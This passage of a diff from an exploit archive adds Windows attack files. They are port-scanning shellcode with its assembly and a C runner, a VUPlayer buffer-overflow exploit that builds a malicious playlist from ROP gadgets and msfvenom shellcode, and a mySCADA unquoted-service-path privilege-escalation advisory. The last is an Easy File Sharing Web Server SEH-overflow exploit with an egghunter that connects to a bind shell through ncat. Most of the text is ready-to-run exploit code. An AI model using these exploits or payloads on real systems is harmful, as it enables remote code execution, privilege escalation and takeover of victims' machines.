push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
;-------------------------------
|
||||
mov [esi+24],dword eax ;socket() at offset 24
|
||||
;------------------------------
|
||||
add esp,8
|
||||
;finding address connect()
|
||||
push 0x41746365
|
||||
xor ecx,ecx
|
||||
mov [esp+3],byte cl
|
||||
push 0x6e6e6f63
|
||||
|
||||
push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
add esp,8
|
||||
;-------------------------
|
||||
mov [esi+28],dword eax ;connect() at offset 28
|
||||
;---------------------------------
|
||||
;finding address of closesocket()
|
||||
xor ecx,ecx
|
||||
push 0x4174656b
|
||||
mov [esp+3],byte cl
|
||||
push 0x636f7365
|
||||
push 0x736f6c63
|
||||
|
||||
push esp
|
||||
push edi
|
||||
mov edx,dword [esi]
|
||||
call edx
|
||||
add esp,12
|
||||
;---------------------------
|
||||
mov [esi+8],dword eax ;closesocket() at offset 8
|
||||
;---------------------------------
|
||||
|
||||
;-------------------
|
||||
;WSAStartup(514,&wsa)
|
||||
mov edx,dword [esi+20] ;edx=WSAStartup()
|
||||
xor ecx,ecx
|
||||
mov cx,400
|
||||
sub esp,ecx
|
||||
mov cx,514
|
||||
lea ebx,[esp]
|
||||
push ebx
|
||||
push ecx
|
||||
call edx
|
||||
|
||||
|
||||
;---------------------
|
||||
xor edi,edi ;port scanning start from 0 - 100
|
||||
|
||||
scan:
|
||||
;socket(2,1,6)
|
||||
xor edx,edx
|
||||
mov dl,6
|
||||
push edx
|
||||
sub edx,5
|
||||
push edx
|
||||
inc edx
|
||||
push edx
|
||||
mov edx,dword [esi+24] ;socket()
|
||||
call edx
|
||||
;----------------------
|
||||
;connect()
|
||||
mov ebx,eax ;SOCKET
|
||||
xor edx,edx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
|
||||
xor eax,eax
|
||||
mov al,255
|
||||
inc eax
|
||||
mul edi
|
||||
mov [esp],byte 2
|
||||
mov [esp+2],word eax
|
||||
;mov [esp+4],dword 0x81e8a8c0 ;Use it to scan foreign host
|
||||
|
||||
|
||||
lea edx,[esp]
|
||||
|
||||
xor ecx,ecx
|
||||
mov cl,16
|
||||
push ebx
|
||||
push ecx
|
||||
push edx
|
||||
push ebx
|
||||
|
||||
mov eax,[esi+28] ;connect()
|
||||
call eax
|
||||
|
||||
pop ebx ;SOCKET
|
||||
add esp,16
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x0a202020
|
||||
push 0x6425203e
|
||||
push 0x2d206425
|
||||
|
||||
|
||||
push esp
|
||||
pop ecx
|
||||
|
||||
push eax
|
||||
push edi
|
||||
push ecx
|
||||
mov eax,dword [esi+12] ;printf()
|
||||
call eax
|
||||
|
||||
add esp,16
|
||||
push ebx ;SOCKET
|
||||
mov eax,dword [esi+8] ;closesocket()
|
||||
call eax
|
||||
|
||||
inc edi
|
||||
cmp edi,101
|
||||
jne scan
|
||||
|
||||
|
||||
|
||||
mov eax,dword [esi+4] ;GlobalFree()
|
||||
mov edi,dword [esi+16] ;exit()
|
||||
|
||||
push esi
|
||||
call eax
|
||||
|
||||
push eax
|
||||
call edi
|
||||
|
||||
*/
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
|
||||
char shellcode[]="\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x31\xd2\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x89\xdf\x31\xc9\x68\x6c\x6f\x63\x41\x88\x4c\x24\x03\x68\x61\x6c\x41\x6c\x68\x47\x6c\x6f\x62\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\xb1\x20\x51\x31\xc9\x51\xff\xd0\x89\xf1\x89\xc6\x89\x0e\x31\xc9\x68\x65\x65\x41\x41\x88\x4c\x24\x02\x68\x61\x6c\x46\x72\x68\x47\x6c\x6f\x62\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x04\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x08\x31\xc9\x68\x6c\x6c\x41\x41\x88\x4c\x24\x02\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\xd0\x83\xc4\x0c\x89\xc7\x31\xc9\x51\x68\x74\x66\x5f\x73\x68\x70\x72\x69\x6e\x54\x50\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x0c\x31\xc9\x51\x68\x65\x78\x69\x74\x54\x57\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x10\x8b\x56\x08\x31\xc9\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6b\x33\x32\x2e\x68\x77\x73\x6f\x63\x54\xff\xd2\x83\xc4\x0c\x89\xc7\x31\xc9\x68\x75\x70\x41\x41\x88\x4c\x24\x02\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x8b\x16\xff\xd2\x89\x46\x14\x83\xc4\x0c\x68\x65\x74\x41\x41\x31\xc9\x88\x4c\x24\x02\x68\x73\x6f\x63\x6b\x54\x57\x8b\x16\xff\xd2\x89\x46\x18\x83\xc4\x08\x68\x65\x63\x74\x41\x31\xc9\x88\x4c\x24\x03\x68\x63\x6f\x6e\x6e\x54\x57\x8b\x16\xff\xd2\x83\xc4\x08\x89\x46\x1c\x31\xc9\x68\x6b\x65\x74\x41\x88\x4c\x24\x03\x68\x65\x73\x6f\x63\x68\x63\x6c\x6f\x73\x54\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x08\x8b\x56\x14\x31\xc9\x66\xb9\x90\x01\x29\xcc\x66\xb9\x02\x02\x8d\x1c\x24\x53\x51\xff\xd2\x31\xff\x31\xd2\xb2\x06\x52\x83\xea\x05\x52\x42\x52\x8b\x56\x18\xff\xd2\x89\xc3\x31\xd2\x52\x52\x52\x52\x31\xc0\xb0\xff\x40\xf7\xe7\xc6\x04\x24\x02\x89\x44\x24\x02\x8d\x14\x24\x31\xc9\xb1\x10\x53\x51\x52\x53\x8b\x46\x1c\xff\xd0\x5b\x83\xc4\x10\x31\xc9\x51\x68\x20\x20\x20\x0a\x68\x3e\x20\x25\x64\x68\x25\x64\x20\x2d\x54\x59\x50\x57\x51\x8b\x46\x0c\xff\xd0\x83\xc4\x10\x53\x8b\x46\x08\xff\xd0\x47\x83\xff\x65\x75\x9a\x8b\x46\x04\x8b\x7e\x10\x56\xff\xd0\x50\xff\xd7";
|
||||
|
||||
|
||||
|
||||
main()
|
||||
{
|
||||
|
||||
printf("shellcode length %ld\n",(unsigned)strlen(shellcode));
|
||||
(* (int(*)()) shellcode) ();
|
||||
}
|
62
platforms/windows/local/40172.py
Executable file
62
platforms/windows/local/40172.py
Executable file
|
@ -0,0 +1,62 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import os,sys
|
||||
|
||||
#Tested Windows 7 Home x86 & Windows 10 Home x86_x64
|
||||
|
||||
#badchars \x00\x0a\x1a\x20\x40
|
||||
#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python
|
||||
|
||||
buf = ""
|
||||
buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29"
|
||||
buf += "\xc9\xb1\x33\x31\x78\x12\x03\x78\x12\x83\xfb\x9d\x3f"
|
||||
buf += "\x56\x07\x75\x36\x99\xf7\x86\x29\x13\x12\xb7\x7b\x47"
|
||||
buf += "\x57\xea\x4b\x03\x35\x07\x27\x41\xad\x9c\x45\x4e\xc2"
|
||||
buf += "\x15\xe3\xa8\xed\xa6\xc5\x74\xa1\x65\x47\x09\xbb\xb9"
|
||||
buf += "\xa7\x30\x74\xcc\xa6\x75\x68\x3f\xfa\x2e\xe7\x92\xeb"
|
||||
buf += "\x5b\xb5\x2e\x0d\x8c\xb2\x0f\x75\xa9\x04\xfb\xcf\xb0"
|
||||
buf += "\x54\x54\x5b\xfa\x4c\xde\x03\xdb\x6d\x33\x50\x27\x24"
|
||||
buf += "\x38\xa3\xd3\xb7\xe8\xfd\x1c\x86\xd4\x52\x23\x27\xd9"
|
||||
buf += "\xab\x63\x8f\x02\xde\x9f\xec\xbf\xd9\x5b\x8f\x1b\x6f"
|
||||
buf += "\x7e\x37\xef\xd7\x5a\xc6\x3c\x81\x29\xc4\x89\xc5\x76"
|
||||
buf += "\xc8\x0c\x09\x0d\xf4\x85\xac\xc2\x7d\xdd\x8a\xc6\x26"
|
||||
buf += "\x85\xb3\x5f\x82\x68\xcb\x80\x6a\xd4\x69\xca\x98\x01"
|
||||
buf += "\x0b\x91\xf6\xd4\x99\xaf\xbf\xd7\xa1\xaf\xef\xbf\x90"
|
||||
buf += "\x24\x60\xc7\x2c\xef\xc5\x37\x67\xb2\x6f\xd0\x2e\x26"
|
||||
buf += "\x32\xbd\xd0\x9c\x70\xb8\x52\x15\x08\x3f\x4a\x5c\x0d"
|
||||
buf += "\x7b\xcc\x8c\x7f\x14\xb9\xb2\x2c\x15\xe8\xd0\xb3\x85"
|
||||
buf += "\x70\x39\x56\x2e\x12\x45"
|
||||
|
||||
rop = "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
|
||||
rop += "\x5c\xe2\x60\x10" #ptr to &VirtualProtect() [IAT BASSMIDI.dll]
|
||||
rop += "\xf1\xea\x01\x10" #MOV EAX,DWORD PTR DS:[EAX] # RTN [BASS.dll]
|
||||
rop += "\x50\x09\x03\x10" #XCHG EAX,ESI # RETN [BASS.dll]
|
||||
rop += "\x0c\x80\x60\x10" #POP EBP # RETN 0x0C [BASSMIDI.dll]
|
||||
rop += "\x9f\x53\x10\x10" #& jmp esp BASSWMA.dll
|
||||
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
|
||||
rop += "\x90"*12
|
||||
rop += "\xff\xfd\xff\xff" #201 in negative
|
||||
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
|
||||
rop += "\x72\x2f\x03\x10" #XCHG EAX,EBX # RETN [BASS.dll]
|
||||
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
|
||||
rop += "\xc0\xff\xff\xff" #40 in negative
|
||||
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
|
||||
rop += "\x6c\x8a\x03\x10" #XCHG EAX,EDX # RETN [BASS.dll]
|
||||
rop += "\x07\x10\x10\x10" #POP ECX # RETN [BASSWMA.dll]
|
||||
rop += "\x93\x83\x10\x10" #&Writable location [BASSWMA.dll]
|
||||
rop += "\x04\xdc\x01\x10" #POP EDI # RETN [BASS.dll]
|
||||
rop += "\x84\xa0\x03\x10" #RETN [BASS.dll]
|
||||
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
|
||||
rop += "\x90"*4
|
||||
rop += "\xa5\xd7\x01\x10" #PUSHAD # RETN [BASS.dll]
|
||||
|
||||
|
||||
exploit = "\x41"*1012 + rop + "\x90"*8 + buf
|
||||
|
||||
print "len + " + str(len(rop))
|
||||
|
||||
file = open('/root/Desktop/exploit_development/VUPlayer/boom.pls','w')
|
||||
file.write(exploit)
|
||||
file.close()
|
||||
|
||||
|
40
platforms/windows/local/40173.txt
Executable file
40
platforms/windows/local/40173.txt
Executable file
|
@ -0,0 +1,40 @@
|
|||
mySCADAProv7 Local Privilege Escalation
|
||||
|
||||
Vendor: mySCADA Technologies s.r.o.
|
||||
Product web page: https://www.myscada.org/
|
||||
Affected application: myscadaPro
|
||||
Affected version: v7 (Current version)
|
||||
|
||||
Vulnerability discovered by: Karn Ganeshen
|
||||
|
||||
Description:
|
||||
|
||||
myscadaPro7 application installs seven (8) services. All these services run as LocalSystem by default, and suffer from an unquoted search path issue. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
|
||||
|
||||
|
||||
Tested on:
|
||||
|
||||
Microsoft Windows Vista Ultimate SP2 (EN)
|
||||
|
||||
|
||||
Details
|
||||
|
||||
The following services have insecurely quoted paths:
|
||||
|
||||
1. Bonjour Service (Bonjour Service) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mDNSResponder.exe:
|
||||
|
||||
2. myalerting (myalerting) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myalerting.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -m \"C:\ProgramData\mySCADA\msmtp.conf\" -s \"C:\ProgramData\mySCADA\sms.conf\" ":
|
||||
|
||||
3. myscadacom (myscadacom) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadacom.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
|
||||
|
||||
4. myscadadb (myscadadb) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadadb.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
|
||||
|
||||
5. myscadagate (myscadagate) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadagate.exe\" -f \"C:\ProgramData\mySCADA\myscada.conf\" ":
|
||||
|
||||
6. myscadahmi (myscadahmi) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadahmi.exe\" -p \"C:\Program Files\mySCADA\" -c \"conf\hmi.conf\" ":
|
||||
|
||||
7. myscadalog (myscadalog) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadalog.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
|
||||
|
||||
8. myscadascr (myscadascr) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\node.exe\" \"C:\Program Files\mySCADA\bin\scripts\scripts.js\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -a 1 ":
|
85
platforms/windows/remote/40178.py
Executable file
85
platforms/windows/remote/40178.py
Executable file
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: Easy File Sharing Web Server 7.2 SEH Overflow with Egghunter
|
||||
# Date: July 29, 2016
|
||||
# Exploit Author: ch3rn0byl
|
||||
# Vendor Homepage: http://www.sharing-file.com/
|
||||
# Software Link: http://www.sharing-file.com/download.php
|
||||
# Version: 7.2
|
||||
# Tested on: Windows 7, 8, 8.1, 10
|
||||
# Admin privileges anyone?? hehe ;)
|
||||
|
||||
from socket import socket, AF_INET, SOCK_STREAM
|
||||
from sys import argv
|
||||
from struct import pack
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
|
||||
host = argv[1]
|
||||
|
||||
rekt = ""
|
||||
rekt += "\x93\x93\x48\xf5\x93\x93\x90\xf9\x90\x37\x4a\x48\x90"
|
||||
rekt += "\x99\x9b\x37\x98\x9f\xfc\xd6\xbd\x71\xab\x9a\xbc\xdb"
|
||||
rekt += "\xd0\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x53\x31\x6f\x12"
|
||||
rekt += "\x83\xef\xfc\x03\x1e\xa5\x78\x49\x1c\x51\xfe\xb2\xdc"
|
||||
rekt += "\xa2\x9f\x3b\x39\x93\x9f\x58\x4a\x84\x2f\x2a\x1e\x29"
|
||||
rekt += "\xdb\x7e\x8a\xba\xa9\x56\xbd\x0b\x07\x81\xf0\x8c\x34"
|
||||
rekt += "\xf1\x93\x0e\x47\x26\x73\x2e\x88\x3b\x72\x77\xf5\xb6"
|
||||
rekt += "\x26\x20\x71\x64\xd6\x45\xcf\xb5\x5d\x15\xc1\xbd\x82"
|
||||
rekt += "\xee\xe0\xec\x15\x64\xbb\x2e\x94\xa9\xb7\x66\x8e\xae"
|
||||
rekt += "\xf2\x31\x25\x04\x88\xc3\xef\x54\x71\x6f\xce\x58\x80"
|
||||
rekt += "\x71\x17\x5e\x7b\x04\x61\x9c\x06\x1f\xb6\xde\xdc\xaa"
|
||||
rekt += "\x2c\x78\x96\x0d\x88\x78\x7b\xcb\x5b\x76\x30\x9f\x03"
|
||||
rekt += "\x9b\xc7\x4c\x38\xa7\x4c\x73\xee\x21\x16\x50\x2a\x69"
|
||||
rekt += "\xcc\xf9\x6b\xd7\xa3\x06\x6b\xb8\x1c\xa3\xe0\x55\x48"
|
||||
rekt += "\xde\xab\x31\xbd\xd3\x53\xc2\xa9\x64\x20\xf0\x76\xdf"
|
||||
rekt += "\xae\xb8\xff\xf9\x29\xbe\xd5\xbe\xa5\x41\xd6\xbe\xec"
|
||||
rekt += "\x85\x82\xee\x86\x2c\xab\x64\x56\xd0\x7e\x10\x5e\x77"
|
||||
rekt += "\xd1\x07\xa3\xc7\x81\x87\x0b\xa0\xcb\x07\x74\xd0\xf3"
|
||||
rekt += "\xcd\x1d\x79\x0e\xee\xf5\x4b\x87\x08\x9f\xbb\xc1\x83"
|
||||
rekt += "\x37\x7e\x36\x1c\xa0\x81\x1c\x34\x46\xc9\x76\x83\x69"
|
||||
rekt += "\xca\x5c\xa3\xfd\x41\xb3\x77\x1c\x56\x9e\xdf\x49\xc1"
|
||||
rekt += "\x54\x8e\x38\x73\x68\x9b\xaa\x10\xfb\x40\x2a\x5e\xe0"
|
||||
rekt += "\xde\x7d\x37\xd6\x16\xeb\xa5\x41\x81\x09\x34\x17\xea"
|
||||
rekt += "\x89\xe3\xe4\xf5\x10\x61\x50\xd2\x02\xbf\x59\x5e\x76"
|
||||
rekt += "\x6f\x0c\x08\x20\xc9\xe6\xfa\x9a\x83\x55\x55\x4a\x55"
|
||||
rekt += "\x96\x66\x0c\x5a\xf3\x10\xf0\xeb\xaa\x64\x0f\xc3\x3a"
|
||||
rekt += "\x61\x68\x39\xdb\x8e\xa3\xf9\xeb\xc4\xe9\xa8\x63\x81"
|
||||
rekt += "\x78\xe9\xe9\x32\x57\x2e\x14\xb1\x5d\xcf\xe3\xa9\x14"
|
||||
rekt += "\xca\xa8\x6d\xc5\xa6\xa1\x1b\xe9\x15\xc1\x09"
|
||||
|
||||
# Our tag is hive: \x68\x69\x76\x65
|
||||
|
||||
egghunter = ''
|
||||
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
|
||||
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
|
||||
egghunter += '\xea\xaf\x75\xe7\xff\xe7'
|
||||
|
||||
crash = "A" * 4061
|
||||
crash += pack('<L', 0x909006eb)
|
||||
crash += pack('<L', 0x10019ce3)
|
||||
crash += egghunter
|
||||
crash += "D" * (5500 - 4061 - 8 - len(egghunter))
|
||||
|
||||
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)
|
||||
payload += 'hivehive'
|
||||
payload += rekt
|
||||
payload += 'E' * (800 - len(rekt))
|
||||
|
||||
print '[+] Trying to exploit {}...'.format(host)
|
||||
|
||||
try:
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect((host, 80))
|
||||
print '[+] Sending payload...'
|
||||
s.send(payload)
|
||||
s.close()
|
||||
print '[+] Trying to connect to target...\n'
|
||||
try:
|
||||
sleep(2)
|
||||
call(['ncat', host, '54321'])
|
||||
except:
|
||||
print '[!] Whoops!! Something went wrong?'
|
||||
except:
|
||||
print '[!] Whoops!! Something went wrong?'
|
||||
finally:
|
||||
print '\n[+] I <3 SHELLS'
|
Loading…
Add table
Reference in a new issue